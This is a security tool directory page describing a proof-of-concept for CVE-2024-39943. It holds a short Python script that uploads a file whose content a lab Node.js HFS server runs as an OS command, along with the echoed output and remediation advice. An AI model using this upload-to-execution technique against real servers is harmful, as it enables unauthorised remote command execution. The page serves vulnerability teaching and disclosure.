Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jenmrr/node.js-cve-2024-39943
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjenmrr/node.js-cve-2024-39943

Node.js-CVE-2024-39943

Proof-of-concept exploit for CVE-2024-39943, demonstrating remote code execution via file upload in a Node.js HFS server using child_process.execSync().

View Repository
361 year agoNot yet reviewed
Share

Node.js HFS Command Execution Vulnerability (CVE-2024-39943)

White Hat School 3rd – Jeongmin Noh (@JenmrR)


Summary

In a Node.js-based HFS server environment, there is a vulnerability where the content of an uploaded file is executed via child_process.execSync().
An attacker can directly execute OS commands through the file upload feature, and can check the results of internal server commands or control the system.
This vulnerability corresponds to CVE-2024-39943 and poses a threat equivalent to command injection (Remote Code Execution).


Environment Setup and Execution

  1. Run the server using Docker environment
  2. The server receives file uploads at the /upload path and executes the uploaded file content as a command
  3. The attacker can achieve RCE through upload

Execution Flow

$ sudo docker-compose up --build -d
$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

Result

Server response after PoC execution:

Executed:
Hello_From_Hacked_Server

poc-result


Conclusion

  • This vulnerability is a typical RCE (Remote Command Execution) vulnerability that occurs when external input is executed as an OS command.
  • The method of directly executing uploaded file content via execSync() poses a serious security risk.
  • User input must always be validated and should never be executed directly on the server.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    383
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    288

Explore all tools

Browse our collection of tools

View all tools →